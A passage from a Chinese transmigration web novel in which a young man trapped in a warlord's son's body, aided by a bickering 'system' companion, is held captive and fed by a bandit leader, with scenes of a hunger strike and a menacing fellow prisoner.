男人本来在拨弄牢们上的锁,闻言抬起了眼。
姜唯被他的眼神一震,下意识地被子里缩了缩。
乔山越的目光在他身上转了一圈,忽然又笑了:
“三少爷不叫我秋燕了?”
姜唯这才反应过来他又叫了男主的真名,不禁有点心虚,他潜意识里觉得剧情已经到了下一阶段,男主已经从戏子‘秋燕’变成了土匪头子乔山越。
“我想了半天了,你到底是从哪知道我的身份的?”
乔山越在牢门外蹲下来,目光与姜唯持平:
“说说看,是谁告诉你的?”
姜唯攥紧了被褥,老门外离他这儿还有一段距离,他却莫名感觉乔山越的目光都刺在他脸上了:
”没有谁。” 他强自镇定道:“我就不能是自己看穿你的吗?”
没想到乔山越摇了摇头,直接道:
“你这么笨,不太像。”
姜唯一愣,猛地瞪大了眼睛:“你说谁笨?!”
突然被男主这么贴脸骂了,姜唯心中立即冒出一股气,连之前的些微恐惧都被冲散,一下子从床榻上跳了起来,瞪着乔山越:
“我早就知道你了!” 姜魏气得够呛,张嘴就道:“你不过就是个土匪!在我面前充什么大王?”
乔山越看着他起地蹦起来,眼中本来带了些笑意,闻言神色一顿,随后挑了挑眉:
“土匪怎么了?你这个军阀之子不照样是我的阶下囚吗?”
姜唯小嘴骂起人来劲劲儿的,讥讽道:“我不过是一时落难,你以为你能得意到什么时候?你这种卑鄙小人,穿上龙袍也不像太子!”
乔山越高高挑起眉,看着姜唯:“我卑鄙?我小人?”
姜唯愤怒道:”就是你!我之前对你多好!你这叫恩将仇报!”
乔山越简直要被气笑了,敢情他之前三番五次手下留情,甚至最后都还给了机会让他赶紧跑,人家完全不领情。他盯着面前气得脸色微微发红的青年,竟一时分不清他在装模作样还是真的太笨了搞不清状况。
“我对你还不算好?” 乔山越道:“我留你一命,好吃好喝地供着,是你不领情。”
“这叫好吃好喝?” 姜唯快被气死了:“你这是非法监禁!”
乔山越没听过这个词,却多少能估摸出他的意思,挑眉道:“你知道真正的大牢长什么样子吗?”
姜唯现在实际还在戏园子里,这地方原先是用来关押不听话的小戏子的,没有虫鼠毒蚁,还有干净的床铺和一小扇窗户,跟真正拿来关押战俘的大牢相比简直如同天堂。更不用说饭菜也是新鲜做的,有肉有菜,在这个乱世下一些穷困的百姓都不一定吃得上,巴巴地端到姜唯面前还被他一巴掌掀了。
“我之前不知道现在也知道了!” 姜唯气道:“你这么折磨我,以后会遭报应的!”
乔山越都快被气笑了,从地上站起来,居高临下地看着他:“还有力气喊,看来是我折磨得不够。”
随即他转过头,对站在身后的人吩咐:“既然他不吃,以后就不用送饭下来了。”
身后的人还没应声,姜唯就呛声道:“谁要吃你那些?拿去喂猪还差不多!”
乔山越转过脸,这时脸色是真冷了下来。
姜唯一僵,像被兜头浇了桶冷水。但没等他有所反应,乔山越就回过了头,大步走出了地下。
他一走,地牢里再次安静了下来,系统沉默了一会儿才小心地出声:
「宿主……你是不是有点太过分了?万一他们真的不给你吃的怎么办?」
姜唯回过神,哼了一声:“反正我不饿,谁要吃那些。”
系统无言以对:「不饿是不饿,但人的身体是需要营养的啊。」
姜唯抿着嘴不说话,爬上床缩到了最角落里:“少废话,继续给我放电影,之前那个动作片还没看完呢。”
系统还在劝:「不吃饭是不行的,现在任务进度这么慢,我们还不知道要在这个位面待多久呢……诶?剧情
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完成度怎么涨了?」
姜唯闻言也有些惊讶:“真的吗?涨了?”
系统也不知道怎么回事,刚才那一段原书里也没有啊……他认真看了看分数明细,发现似乎是人设分涨了些。应该是姜唯之前太窝囊了,这次跟男主吵了一次架反而贴合了人设。
姜唯一听,眼睛都亮了:“那就说明我做对了!下次他来我还要继续跟他吵!”
系统:……总感觉剧情要崩了。
它这下彻底没了话来劝姜唯,只好乖乖给他放起了电影。在这牢里被关着也没什么事干,系统放完动作片放爱情片,一放就放了两天。这两天里,地牢里果然再没人下来,到了第三天早晨,姜唯从床榻上爬起来,突然觉得头晕,差点一头栽回床上。
“头好晕啊。” 姜唯好不容易坐稳,打了个哈切:“身上也没力气。”
系统知道他这是低血糖了,三天一粒米都没吃,能有力气才怪。它正要劝姜唯跟男主服个软,却见他往床上一躺,转身卷起被子:
“看来是还没睡够,我再睡会儿。”
系统:……
它是真怕再这么下去姜唯直接把自己睡死在这儿,心里盘算着要不还是把饿觉给他打开算了,然而正在这时,地牢外忽然传来响声。
系统一凛,觉得应该是男主来了,立即叫醒姜唯:「宿主,宿主,醒醒!」
姜唯抱着被子不起:“干什么……我好困……”
系统还要说什么,下一瞬却猛地顿住,只见从楼上走下来的并不是乔山越,而是两个穿着短打的男人。两人一前一后抬着个担架,上面躺着个人。
随着几人走近,一股浓烈的血腥味弥漫开来。姜唯闭着眼睛闻到了这股味道,被熏得睡不下去,睁开了眼:“什么味道,好臭——”
结果这一睁眼,他正好看见两个男人用担架把一个人抬到了他隔壁的牢房里。
两人动作粗鲁,进了牢房把担架一斜,上面的人直接滚了下来,’砰‘的一声摔在了干草上。
那人发出一声痛苦的呻吟,干草上瞬间漫开了血迹。姜唯透过他身上已经算是破布的衣物,看到这个男人身上遍布伤口,最深的一处在腿上,已经能隐约看到白骨,正在不断涌出黑血。
“啊!”
姜唯被吓得尖叫一声,两个穿着短打的男人看了他一眼,脸上露出带着嘲讽的笑,转身就出了地牢。
“这、这……” 单人间突然变双人间,姜唯懵了:“系统,这是怎么回事!”
系统也很茫然:「我、我也不知道啊——」
姜唯闻着空气中的血腥味,脸色一阵青一阵白,甚至感觉麻木的胃都隐隐翻涌了起来。
难道是男主俘虏的人太多,别的监狱放不下非要跟他挤一块儿了吗?姜唯脸都绿了,不禁在心里暗恨上了乔山越,却不去想为什么一开始只有他自己被关在这里。
血腥味越来越浓,还伴随着某种腐烂的味道,姜唯缩在墙角用被子捂住了鼻子:“系统!你快屏蔽我的嗅觉!”
系统为难地道:「宿主,我一次只能屏蔽你的一种体感。要是屏蔽嗅觉的话你的饥饿感就会回来了。」
姜唯差点没被气死:“什么?你怎么不早说?”
怎么这么没用!姜唯觉得自己真是倒霉到了极点,男主不按剧情走,还摊上这么个智障的系统!
系统道:「宿主,我的功能已经是迭代过的了,你就知足吧!」
姜唯脸色难看,是选择在这牢房里被臭死,还是被饿死?
地牢里通风不足,味道越来越浓,甚至让姜唯的呼吸都有些不畅。他咬紧了牙关,终于做下了决定:“先给我屏蔽嗅觉!”
他真的要被臭死了!
系统应了一声,去调整设置了。
姜唯拼命憋着气,怒瞪着隔壁牢房里的人,不知道是不是他的目光太强烈,地牢中传出一阵窸窣声音,干草堆上摊着的人缓缓转过了身,
“咦?” 黑暗中传来一个嘶哑的声音:“这不是三少爷吗?“
8. 霸道土匪悄军阀
姜唯闻言一愣:“你认识我?”
那人脸庞背着光,看不清脸,只能隐约看出是个相貌深邃的男人,喉结处有一道明显的伤疤。
“三少爷不认识我了?” 他听到姜唯的声音,喉咙发出咯咯的笑:“三少爷先前还托我探查军中的消息,这么快就翻脸不认人了?”
他的笑声极其难听,姜唯皱了皱眉,目光落在他喉咙上的伤口,忽然间想起了他是谁。原书里有张子明有一个臭味相投的’好友‘,是张自明麾下的一个叫赵逍军长。两人都喜欢做些男盗女娼的事,尤其都喜欢玩儿戏子,张子鸣为了拉拢他男的女的都送了不少过去,渐渐地把赵逍发展成了他在军中的一颗钉子。
“你是…赵逍?”
见姜唯认出了他,男人笑了笑,脸上的伤口被牵动着冒出一粒粒血珠:
“三少爷,别来无恙啊。咱们也算是天涯沦落人,都被你想玩儿的那个戏子抓了,这真是丢脸丢到姥姥家去了。”
姜唯惊讶地看着他跟个没事儿人似得跟自己闲聊,还不顾身上的伤从干草堆上转过了身,撑着头道:
“诶,你知道他是土匪吗?“
姜唯对这突如其来的剧情有些不知所措,强作镇定道:“……我当然不知道。”
赵逍撑着头问:“真不知道?”
姜唯莫名感到股压力,咽了口唾沫:“当然!”
他说着又往里退了退,试图离这个血肉模糊的男人远一点,但实际上两间牢房挨得很近,姜唯的木板床就贴在栏杆边上,退也退不到哪里去。
赵逍还是盯着他,隔了一会儿,声音粗粝道:
“那你玩儿了他没有?”
姜唯一惊,不可置信地抬起眼:“你……你说什么?”
赵逍见他表情惊讶,笑了笑,道:“这有什么,没玩儿就是没玩儿,三少爷跟我这么见外做什么?”
他说着的同时目光闪了闪,心中不禁起了疑。他和张子鸣是多年的酒肉朋友,深知彼此的秉性,这点儿根本连荤话都算不上。
他探究的目光落在缩在床脚的姜唯身上,立即就注意到了些许不同。张子鸣往日里嚣张阴毒,这次阴沟里翻船必定是愤恨不已,然而他此时缩在墙角,瓜子脸白生生的,却是一副不知道在怕什么的畏缩模样。
赵逍能和张子鸣兴趣相投,自然有一些独特的‘癖好’。
他最喜欢的就是强人所难,欣赏清俊少年在榻上露出畏惧痛苦的样子。他往日对张子鸣是绝无什么旁的心思的,现在见了姜唯却是心中一动,不禁放缓了目光,将缩在床尾的青年从头看到了尾。
姜唯这时才反应过来自己崩人设了,赶忙绷住了表情:“我玩没玩,关你什么事?”
赵逍还在打量他,见他瞪着眼,眼底亮晶晶的,干干净净地坐在床上,不像玩人的,倒像是被玩儿的。
“……是不关我的事。” 赵逍眼中渐渐漫出贪欲,他兵败被关了半个多,整日跟些被脏臭的士兵待在一起,如今乍然见了个白净的姜唯,也顾不了对方是什么人、身体先热了起来:“我只是想跟三少爷叙叙旧——”
姜唯看见他有靠近的趋势,顿时浑身发麻——在这个距离他甚至能看见对方已经化脓趋势的伤口!
“系统!」”姜唯差点没一个白眼晕过去,立即在心里尖叫:“快帮我屏幕视觉,别管嗅觉了!!”
然而就在这时,赵逍忽然伸手一把握住了他的脚踝。
姜唯看到那只沾满黑血的手,差点直接吓晕:“啊啊啊啊啊!好恶心!!”
这时系统才从后台冒出来,根本没注意他在说什么:“宿主,嗅觉我给你屏蔽了!”
下一瞬,姜唯鼻间浓郁的血腥味消失,随之而来的是强烈的饥饿感!
姜唯登时眼前一黑,低血糖带来的眩晕和无力感充斥了全身,加上眼前画面的冲击,连声音都发不出就一翻白眼晕了过去。
·
“晕了?”
地牢外,乔山越正在清点战利品。他虽下令不许骚扰百姓,但死人不算在内。军中贪腐严重,光是从战场和贪官府中搜刮下来的财物就极其可观。
此时乔山越正把玩着一枚从帅府搜刮来的玉佩,拇指抚过上面的祥云图案,回过头:
“是饿晕的?”
王楚云摇了摇头:“说是吓晕的。”
乔山越挑了挑眉,他原本预料以那人的馋劲饿上两日就会屈服,没想到三天过去一点动静都没有。
他打定主意要让他吃个教训,便让人挑了个俘虏送下去,让不知天高地厚的公子哥好好看看什么叫战场无情。
看来果然是胆子小,竟这么就吓晕了。
王楚云见他笑,以为是乔山越觉得解气,也笑了笑道:“此人外厉内荏,见了那赵逍身上的伤,或是怕自己也落得一样的下场——”
他话还没说完,却见乔山越猛地回过头:
“赵逍?谁让你们放他下去的?”
王楚云一愣:“是你说要找受了刑的人放下去给他点颜色看看,那赵逍受的刑最重——”
乔山越眉头皱起。
赵逍此人,恶名不下于张子鸣。特别是此人偏好清秀单纯的少年,乔山越藏身于戏班中时就听说过好几个小戏子遭他的毒手,被折磨得不成人形。
本来张子鸣和赵逍两个是朋友,根本是臭味相投,不需要担心什么。但乔山越回想起青年那双清澈的眼睛,心里鬼使神差地升起股忧虑。
他沉默片刻,回头将玉佩‘啪’的一声扔到桌上:
“把他带上来。”
王楚云自然知道这个‘他’指的不是赵逍,心里有些惊讶,但见乔山越神情阴沉,也没敢再问下去,转头吩咐人找担架去了。
要说他经手过的俘虏也不少,能生生把自己饿的晕过去的还真是没见过。
姜唯是结结实实地晕了,脑中系统叫了好多声也没醒过来。
直到有人挪动他的身体,姜唯才有了些微意识,恍惚中感到自己被放到了一处更柔软的床榻上。
似是有人在他身边走来走去,军靴踩在地上的声响间,一个耳熟的声音道:
“灌点水。”
姜唯晕着,感到有什么东西贴上了自己的唇缝,有什么温热的液体猛地灌了进来。
……咳!
姜唯被呛了个正着,猛地瞪大了眼睛,意识也清晰了些:“谁、谁要害我?!”
“老大,醒了。“
姜唯听到了声音,一抬头便看见个满脸胡子的人站在他旁边,那茂密的胡须让他差点以为遇到了只黑熊精!同时他一清醒那要人命的饿意就翻涌了上来,姜唯像是被人冲着太阳穴打了一拳,眼前开始冒星星:
“好饿……”
一个男声再次响起:“饿就起来吃饭。”
姜唯半睁着眼睛,恍恍惚惚又以为自己实在做梦,隐约看见一个人影坐在他对面,心里想道,可恶的男主,竟然做梦都不放过他,真是烦死了!
乔山越坐在太师椅上抬眼看向床榻,见上头的青年脸色苍白,垂着眼,埋在被褥里一动不动,过了会儿又缓缓闭上了眼睛,竟一副要继续睡下去的样子。
乔山越觉得要是没人管,他能生生在一桌子饭菜前把自己饿死。
他几乎是无奈地从鼻子里哼笑了一声,叹了口气,站起来走到床边坐下,伸手拍了拍青年的脸:
“醒醒,吃饭。”
姜唯被拍的半睁开眼,却还是醒不过来,靠在床边气若游丝:
“好饿……”
他在地牢里关着不见天日,加上饿了三天,姜唯的这幅身体瘦了一圈,脸色还特别苍白,一张小尖脸团在被褥间只有巴掌大。
乔山越垂眼看了片刻,叹了口气,伸手把人拉了起来,让青年靠在肩上。接着端起一碗粥,舀出半勺喂进姜唯半张的唇缝里。
姜唯虽晕着,却还知道吃饭,咂巴了两口软糯的白粥便吞了下去。
就这么喂了大半碗粥,姜唯才缓缓清醒了过来。
“……乔山越?” 姜唯缓慢地眨了一下眼睛,英俊男子的面孔在他视野里从几个重影变回一个,神志还有些模糊:“你、你怎么在这儿?”
乔山越见状,将饭勺扔了回去:“醒了就自己吃。”
姜唯忽然被放开,摇晃了几下才在床边坐稳。
他的神情还有些茫然,呆呆地看着眼前的一大桌饭菜,愣神期间感官渐渐恢复,激烈的饥饿感瞬间漫上心头。
肚子‘咕噜’一声,姜唯眼冒绿光,猛地扑倒了饭桌前,伸手抓了个馒头就往嘴里塞。
他快饿死了!
姜唯宛若饿虎扑食般地往嘴里塞吃的,耳边似乎传来了一声轻笑,他也没心思管,只顾着填饱肚子。
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姜唯自小娇生惯养,特别挑食,吃饭经常是吃一半剩一半,这次却把一桌子饭菜吃了个干干净净。
他胀得动不了,直挺挺地坐在椅子上:“嗝,好饱。”
系统的声音出现在他脑海中:「宿主……你终于醒了。」
姜唯注意到它,登时怒火中烧:“系统——”
他可还记得是这个智障系统害的他晕过去的!
系统期期艾艾地道:“呜呜呜,我还以为你被饿死了,幸好男主放你出来了,要不我们怎么办啊——”
什么?男主?
姜唯一愣,转过视线,这才终于看清了坐在他身边的乔山越。
男人单手撑着下颌,穿着一身体面军装,一双桃花眼幽幽闪着光,正好整以暇地看着他。
!!
姜唯看到他,新仇旧恨一齐涌上心头,脸立即涨得通红:
“是、是你!”
乔山越挑了挑眉:“怎么,吃了我的饭就不认人了?”
姜唯非常愤怒,他本来决定好不吃嗟来之食,要在男主面前硬气到底,没想到这饭菜竟然是男主准备的!姜唯想到自己刚才饿死鬼投胎般的样子全被男主看了去,登时觉得没面子极了,心绪翻涌之下只觉得食物顶到了喉口,下一秒竟‘哇’的一声吐了出来。
呕吐物撒了一地,乔山越反应极快地退后了半步,却还是被呕吐物沾到了衣角。
他低头看着今天头一次穿就被弄脏的军装,脸骤然黑了,锋利的目光刮在姜唯脸上。
姜唯是真吃多了,呕吐过后还是涨得想翻白眼:“好、好难受……”
乔山越抬起眼就看见青年像只吃多了食的胖肚鱼一样挺在椅子上,眉头顿时一松,眼中缓缓浮现出些许笑意。
他站起来,抓着姜唯的脖子把他一把拽到床上:“真笨,连吃饭也不会吃。”
看来以后真得当个兔子喂,还得限制量注意别撑死了。
男主竟然还骂他!姜唯在床上弹了弹,’唔‘了一声,用力地用眼睛瞪男人。
乔山越无视了他,拿出被子扔在他身上,顺手拍了拍姜唯圆滚滚的肚子:“像只猪。”
“你!” 姜唯气急,说他笨也就算了还说他像猪!
他气得直喘粗气,想等这阵难受劲儿过去了狠狠骂男人几句。
然而乔山越竟一转身出去了,过了一会回来,手上提了桶水,竟然低下身开始清理地上的呕吐物。
姜唯一愣,有些惊讶,没想到男主竟然会亲自动手。
乔山越身高腿长,委委屈屈地蹲在地上,动作却十分麻利,三下五除二的就收拾好了地上的狼藉,转身看见姜唯震惊的眼神,勾了勾唇:
“看我干什么?”
姜唯抿了抿唇,瞪着他:“你不是土匪头子吗,还要亲自干活?”
乔山越看了他一眼,把抹布放进桶里清洗:“那又怎么了,我有的是弟兄,不是仆人。”
他麾下都是一起打江山的泥腿子,穿一条裤子的家乡兄弟,谁也没比谁高贵。他虽然名义上是首领,但凡事都是自己动手。
姜唯似懂非懂,不过看男主还得屁颠屁颠地收拾他的呕吐物,自觉找回了面子,气得不那么厉害了,吃掉的东西转化为血糖,很快就睡了过去。
乔山越收拾完碗筷回头一看,就见青年已经睡着了,窄窄的瓜子脸团在被子里,睡得面颊微粉,是一点防备也没有。
望楚云这个时候刚好经过,看见乔山越在这里就停了停:“老大,你在这儿啊,我——”
乔山越触电般地收回手:“什么?”
望楚云有些狐疑地看向他,又看了看床上的隆起,还没说什么呢乔山越就道:“拿你那四个眼睛瞅什么呢?有屁快放!”
戴了眼镜的望楚云:“……没什么,我就是想问问,你想怎么处置张三少爷?”
乔山越瞥向他:“怎么,张家写信来了?”
“是。” 望楚云道:“他们说现在放了张三少爷,要不然他们就会立即出兵。”
乔山越’哈‘了一声,话都懒得多说,摆了摆手道:“叫他们尽管来!”
望楚云对这个答案并不惊讶,看了眼躺在床上的人影,道:“那这位……怎么处理?”
乔山越正低头擦拭自己的军装,拍了拍衣角道:“养肥了等过年宰了吃肉。”
望楚云:……啊?
9. 霸道土匪俏军阀
姜唯这一觉睡了大半天,醒来后没有再被关进地牢,而是就这么在这间房子里住了下来。
这间卧室似是原本戏班老板的卧室改造的,空间挺大,摆了张宽大的桃木床,旁边有个书柜里放满了收藏的古典字画。姜唯在屋子里转了几圈,还算比较满意,虽然比不上他在帅府的房间,但比寒冷狭小的牢房是好多了。
姜唯是个宅男,在现实生活中也不怎么出门,所以非常在意卧室的质量。
在决定自己满意这个房间之后,姜唯就把地方画作了自己的地盘,安安心心地窝了下来。
第二天,乔山越又来了。
姜唯坐在桌前,有点不喜欢男主出现在他的空间里,面对着一桌子早饭本来也不太想吃,但碍于系统不肯再封闭他的饿感,他想想还是吃了。
乔山越也不知道是来做什么的,就坐在他旁边看着他吃饭。
姜唯小口喝着粥,时不时瞅一眼男主,不知道他要干嘛。
他极其谨慎地吃完了一顿饭,这次没再吃撑。见他放下筷子,乔山越抬起眼:
“吃饱了?”
姜唯有点疑惑的看向他,点了点头。
乔山越见状直接把桌上吃剩的饭菜拉到了自己的面前,低头吃了起来。
姜唯惊讶地瞪着他,见男人三下五除二就把桌上的剩菜扫荡干净,一抹嘴抬起头,面上没有丝毫不适,仿佛吃他的剩饭是件再自然不过的事。
见青年瞪圆了眼睛看着自己,乔山越喝了口茶,挑了挑眉锋:“看着我干什么?”
姜唯狐疑道:“你……你干什么吃我的剩饭?”
他抿了抿嘴角,心里有点怪怪的,他只在家里见过他爸吃他和妈妈的剩饭,他哥有些时候也吃,乔山越干嘛乱吃啊?
乔山越放下茶杯,似不觉这个行为有什么特别:“都是饭,穷讲究些什么。”
青年胃口小的跟兔子一样,昨天那么点饭菜就撑得吐了。下面的人敬重他,打的饭菜也多,干脆先拿来把这人喂饱。
乔山越心里盘算得很好,觉得跟顺手喂了只兔子没什么两样。见姜唯还是满脸狐疑地看着他,又笑了笑道:“先前三少爷请我吃过几顿饭,我也得有所回报。”
他可还记得青年在饭桌前又馋又敢怒不敢言的傻样,抢他一块鲍鱼就弄得人眼尾发红,跟要气哭了似得。
姜唯闻言,疑惑的神色缓和了些,‘哼’了一声,傲娇地说:”你以为这样就能讨好我吗?我讨厌你!”
乔山越差点‘噗’一声把嘴里的粥吐出来,低着头咳嗽了几声,好笑地转头看向他:“那真是难为三少爷了。”
姜唯瞪着他,咬牙切齿地道:“你等着吧,总有一天我要让你好看!”
乔山越没少受人威胁,但头一次这么提不起警惕,甚至还差点笑出声。
他用勺子在粥碗里搅了搅,随口道:“你想让我好看就多吃点,我就没的吃了。”
他是随口一说,姜唯却听到了心里去。对啊,他就该把饭菜都吃光,让这人也尝尝饿肚子的滋味!
次日当乔山越再带饭来的时候姜唯牟足了劲儿刨饭,一点儿都不打算给男主剩。
但桌上的菜实在很多,姜唯吃不下了还在逼自己吃,涨得都脸色发红了,还夹着一只大蒸饺想往嘴里塞。
结果饺子还没进嘴就被一双筷子截住:
“行了,别吃了。”
乔山越淡声道,动作轻巧地从他的筷子头上抢走蒸饺就塞进了嘴里。
姜唯震惊了:“你怎么抢我吃的?!”
乔山越看了他一眼,嚼了两下就咽了下去,居然还把他的粥碗扒拉了过去:“什么叫你的,这是老子的早饭。“
姜唯瞪圆了眼睛:“你怎么能说脏话?”
乔山越又是‘噗’一声,这次再也忍不住,朗声大笑起来。
姜唯见他吃着东西还哈哈笑,疑惑的同时又很嫌弃:“你真没素质!”
乔山越不知道‘素质’是什么意思,但看见他嫌弃的小眼神就觉得逗乐,忍不住抬手揉了把青年蓬松的发顶。姜唯猝不及防,登时尖叫道:“你没洗手就摸我头发,脏死了!”
乔山越却笑得更开心了,觉得掌心的发丝柔软,摸两下还会吱哇乱叫真有意思,就又揉了一把。
姜唯彻底怒了:“乔山越!!“
乔山越见他怒极的神色,觉得好玩儿极了,却又沉下了脸:“吃饭呢,大呼小叫什么?”
他一板着脸姜唯就有点犯怵,不敢大喊了,却还是拿眼睛瞪着他。
乔山越挑眉:”瞪我干什么?“
姜唯一顿,很窝囊地低下了头,却还是拿眼角瞥着他。
乔山越憋笑都要憋出内伤了,就喜欢看他这敢怒不敢言的小怂样,呼噜呼噜地就把一桌剩菜全吃完了。
姜唯气得眼睛都能喷火,心里恨得牙根痒痒,他总有一天会让男主付出代价!
结果接下来的几天,乔山越就跟凭空消失了一样,忽然不再出现。
他不来,每天却都有人把饭菜送到门口。送饭的人却总是一副对他很不屑的样子,姜唯都怕他们在饭菜里吐口水,要系统扫描一遍才肯吃。
没有男主来气人,姜唯每天吃了睡睡了吃,空闲的时候就让系统给他放电影。他本来就宅,这样的日子
都快把系统片库里的电影看完了,才忽然恍然回神:
“系统,我们接下来要干什么来着?”
系统:……对啊,他们要干什么来着?
一人一系统沉默了半晌,都有些沉默。系统觉得自己真是被宿主同化了,竟然也完全没想起来他们还有任务在身。
但现在任务已经崩得不成样子了……系统沉默片刻,道:「总之,得先见到男主吧。」
是哦,姜唯恍然,这才想起已经好几天没见过乔山越了。
那就出去找找吧,姜唯想道,于是他下了床抬脚想往外面走,然而在推门的时候却发现门是被锁着的。
姜唯一愣,抬头看向禁闭的大门,这才后知后觉地反应过来——他这是被软禁了吗?
系统也无语了,顿时陷入了沉默。
#因为太宅,连被囚禁了都不知道#
“他、他居然囚禁了我!” 姜唯愣了一会儿才反应过来自己该生气,开始啪啪啪拍门:“来人!放我出去!”
结果拍了一会儿也没人理他,姜唯觉得有点累,也有点渴,就坐会床上打算休息一下,结果这一坐下就睡着了。
等睡醒,看着禁闭大门,透过雕花的空隙可以看出外面已经黑了,姜唯又有点懒得费这个力气:
“算了,明天再说吧。”
他说着,又把系统叫出来放电影。
系统:……他是真没见过心能这么大的宿主。
不过他已经习惯了姜唯这个又懒又废的样子,甚至还有点被同化了。
姜唯看完电影就睡了,一觉睡到天光大亮,忽然感觉到有人在摸他的脸。
不仅摸,还揪起了他脸上的肉。
“睡得还挺香。”
姜唯皱起眉,一扭脸躲开,谁这么一大早打扰他睡觉!
谁知那手又跟了过来,还在戳他的脸。
姜唯的眉头越皱越紧,‘哼’了一声:“哥,你别弄了,今天不用上学……”
正在摸他脸的手一顿,过了片刻,低沉的男声传来:
“你们兄弟的关系还挺好。”
姜唯听了,心想那是自然,他哥对他很好的……
诶?好像有什么地方不对?
姜唯猛地睁开了眼,一抬头便看见了乔山越的脸。男人逆着光站在他床头,见他醒来,挑了挑英气的眉。
姜唯一骨碌从被窝里爬了起来:“你、你怎么在这儿?!“
”这是老子的房子,我不在这儿在哪?”
乔山越打量了他两眼,张嘴就道:“怎么吃得这么胖了?”
姜唯:??有病吧?
他不可置信地瞪大了眼睛:“你说我胖?!”
乔山越细细打量他,点了点头:“是
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胖了。”
这几天姜唯吃了就睡睡了就吃,生生把自己的脸盘养大了一圈,但下巴还是尖尖的。姜唯很看重自己的外貌,眼睛里满是不可置信。
乔山越被他的表情逗笑:“脸圆了,眼睛显得更圆。”
姜唯闻言一惊,赶紧伸手去摸自己的脸,难道他真的长胖了?这破屋子里一面镜子都没有,他都不知道自己长什么样了。
他越想越气,瞪向男人:“都怪你。”
遇事不决怪男主!把他关在这儿跟养猪似的!
乔山越好笑道:“怪我什么?怪老子好吃好喝地供着你这个祖宗?” 他看了眼姜唯,又道:“男人胖点怕什么,胖点儿好看。”
他说着,目光落在青年脸上,觉得脸上有点肉的确更好看,似乎冥冥中这双眼睛就应该匹配这样的脸。线条柔软,白白嫩嫩,一看就是在糖罐子泡大的。
姜唯觉得男主在讽刺他,狠狠瞪着这人想从他身上找出什么缺点骂回去:“你凭什么说我,你——”
他还没憋出来,就看见乔山越回过身,拉过了一张椅子坐下。
黑色的大氅随着他的动作掀起,抖落一层细雪。
姜唯这才注意到他穿着一身军装,坐下后长腿支在地上,军靴在木地板上留下一丝水痕。
姜唯看着他,神情逐渐有点恍惚。
乔山越喝了口热茶,抬眼就看见青年一副呆样:“干什么?丢魂了?”
姜唯这才回过神,脸颊微微红了,垂下了脸。心道男主有什么了不起的?不就是脸帅一点、身材好一点吗?
姜唯莫名地有点慌张,嘴上道“你得意什么?我告诉你、我哥比你帅多了!”
他哥就是最帅的!
姜唯想的是他现实生活里的亲哥姜程,他们一家都长得不差,他哥身高183,不仅又高又帅,还是个理工科学霸,华尔街的金融静音,甩这个土匪十万八千里!
谁知乔山越听了,脸色却微微变了变,目光缓缓扫视他了一圈才道:“你和张大张二关系很好?”
姜唯闻言一愣,这才反应过来乔山越说的是原身的两个兄弟。他瞬间有点噎住,但对上乔山越的眼神,干脆一鼓作气顺着说了下去:
“对!我哥对我可好了,你连他一根脚趾头都比不上!“
“哦?” 乔山越挑眉:“但你不是小娘养的吗?”
姜唯差点被气晕过去,他就算再笨也知道这是骂人的话!
“你敢骂我?” 姜唯一生气台词就背得格外顺溜,怒道:“你算什么东西?下九流的戏子,一个流寇匪类,以为穿了军装就了不起了吗?我告诉你,你连我们帅府的一截门槛都比不上!“
乔山越看着他,神色微凉:“是吗?”
姜唯‘哼‘了一声,扬起下巴道:“我哥比你厉害多了!他比你有教养,比你有文化,比你这个土匪强几百倍,你就等着被打得落花流水吧!”
乔山越闻言,却是冷笑了一下:“哦?但你的两个兄弟刚刚被我赶出峯城,你真该看看他们屁滚尿流的样子。”
姜唯一惊,整个人愣住了。倒不是因为张家兄弟两个人,而是因为乔山越提到的剧情。
峯城?这个剧情不是到中期才有的吗?
原书是本男频流爽文,姜唯清楚地记得男主刚刚占领这座城市的时候遭到四周的围攻,情形交困之下一开始面对张帅父子是在劣势的,到中期才逐渐开始翻盘,打下了包括峯城在内的几座城池。
剧情进展的怎么这么快?姜唯整个人都蒙了,说好的新手村剧情呢?!
然而他这副呆愣的样子落在乔山越眼中,就像是他不可置信自己的兄长们会输,乔山越嗤笑了一声,起身走到床前,居高临下地俯视他:
“你最好搞清楚,先是靠谁你才能有吃有喝。”
姜唯脑子一片空白,呆呆地抬起头,乔山越眼中浮现出兴味,忽然抬手揪住了他脸侧的软肉:
”有这个功夫骂人,不如好好想想该怎么讨好我,说不定我还能让你活久一些。”
10. 霸道土匪俏军阀
姜唯一听都懵了:“什么意思?你、你要杀我?“
乔山越掐了掐他的脸颊:“你是张自明的儿子,你说我杀不杀你?”
姜唯闻言脸都绿了,对啊,在这本书里张自明是个鱼肉百姓的大军阀,是阻挡男主做大做强的反派,虽然原书里张子鸣是不慎踩中地雷被炸死的,但现在剧情不一样了,他落到乔山越手里,这个男人这么坏,肯定对他是不择手段……
姜唯上下打量面前的男人,觉得男主肯定是地盘大了想杀他立威了!
姜唯越想越害怕,背后冷汗直冒,气势一下子萎靡了:“你、你别杀我……”
乔山越看着青年眉眼耷拉下来,嘴角勾了勾,又捏了捏他的脸:“为什么不杀?年猪喂肥了,该宰了。”
姜唯丝毫没听出他是在开玩笑,还以为是乔山越嫌他吃得多:“别、别这样,我以后不吃那么多了。”
乔山越一顿,接着捧腹大笑出声。
姜唯不知道他在笑什么,只觉得男主真是喜怒无常,情绪不太稳定的样子,不会笑着笑着就把他宰了吧?
他正狐疑地看着乔山越,这个时候肚子突然叫了一声。姜唯赶紧捂住,然而乔山越已经看了过来,他用拇指拭去眼角笑出来的眼泪,道:
“饿了?”
姜唯赶紧摇头:“不!我一点也不饿!”
乔山越又笑起来,接着拉着姜唯坐到了饭桌前,不一会儿就有人提来饭菜。
姜唯略略看了一眼,比他一个人在的时候要丰盛多了,他立即有了不好的联想,也不敢伸手去拿筷子,怯怯地看向乔山越:
“这、这是断头饭吗?”
乔山越笑得差点吧筷子摔了:“咳咳、不是,你就吃吧,有那一天我一定提前告诉你。”
姜唯这才放下心来,他拿起筷子,却不敢夹菜,而是小心地瞥了眼乔山越的脸色,然后夹了只蒸饺放在了男人的盘子里:“你先吃。”
乔山越玩味地看了他一眼,才低头把盘子里的蒸饺吃了:“不错,学乖了。”
姜唯受到鼓励,又给他夹了好几个菜到碗里。
乔山越把他夹的东西都吃了,姜唯看在眼里,松了口气,他决定现在先讨好男主。虽然他在这里死了大不了就是任务失败,但姜唯怕痛,而且系统太不靠谱了,万一到时候开痛觉屏蔽不及时他会痛死过去的!
“想什么呢?” 姜唯回过神,见盘子里多了个包子,他侧过头,见乔山越挑眉看着他:“吃饭啊。”
